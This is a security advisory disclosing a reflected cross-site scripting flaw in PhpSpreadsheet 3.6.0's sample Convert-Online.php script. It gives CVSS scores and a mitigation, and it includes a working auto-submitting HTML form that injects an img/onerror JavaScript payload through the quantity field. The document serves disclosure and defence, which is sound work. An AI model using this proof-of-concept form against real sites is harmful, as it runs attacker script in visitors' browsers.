PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file

Unauthorized Reflected XSS in Convert-Online.php file

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php script, an attacker can perform a XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the quantity variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Convert-Online.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php file, which leads to the possibility of a XSS attack.

Figure 4. The message with the quantity parameter is displayed without sanitization

The following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization.

Figure 5. In the server's response , the quantity variable is displayed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php" method="POST">
      <input type="hidden" name="category" value="Weight&#32;and&#32;Mass" />
      <input type="hidden" name="quantity" value="1&#46;0&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" />
      <input type="hidden" name="fromUnit" value="g" />
      <input type="hidden" name="toUnit" value="g" />
      <input type="hidden" name="submitx" value="Convert" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

After the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser.

Figure 6. Executing arbitrary JavaScript code

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)